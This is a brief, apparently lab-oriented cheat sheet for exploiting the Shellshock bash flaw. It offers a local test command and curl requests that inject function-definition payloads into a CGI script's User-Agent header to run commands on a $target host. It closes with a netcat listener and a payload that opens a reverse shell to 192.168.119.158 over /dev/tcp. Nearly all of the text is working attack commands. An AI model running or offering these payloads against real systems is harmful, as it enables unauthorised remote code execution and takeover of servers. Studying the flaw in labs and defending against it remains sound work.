Old­er bash ver­sions may exe­cute code after func­tion definitions.

Via command line

Source with explanation

export newfunction='() { echo 'shellshockdemo';}; echo vulnerable'

Via a web server / CGI script

Cau­tion: Try the reverse shell exam­ple in Burp also if the curl com­mand fails!

curl http://$target/cgi-bin/admin.cgi -s > before
curl -H "User-Agent: () { :; }; /bin/bash -c 'id; pwd; whoami 2>&1;'" http://$target/cgi-bin/admin.cgi -s >  after
diff before after

Remem­ber to redi­rect stderr if some­thing does­n’t work as expected!

Get­ting a reverse shell

nc -lvp 443
curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.119.158/443 0>&1;'" http://$target/cgi-bin/admin.cgi -s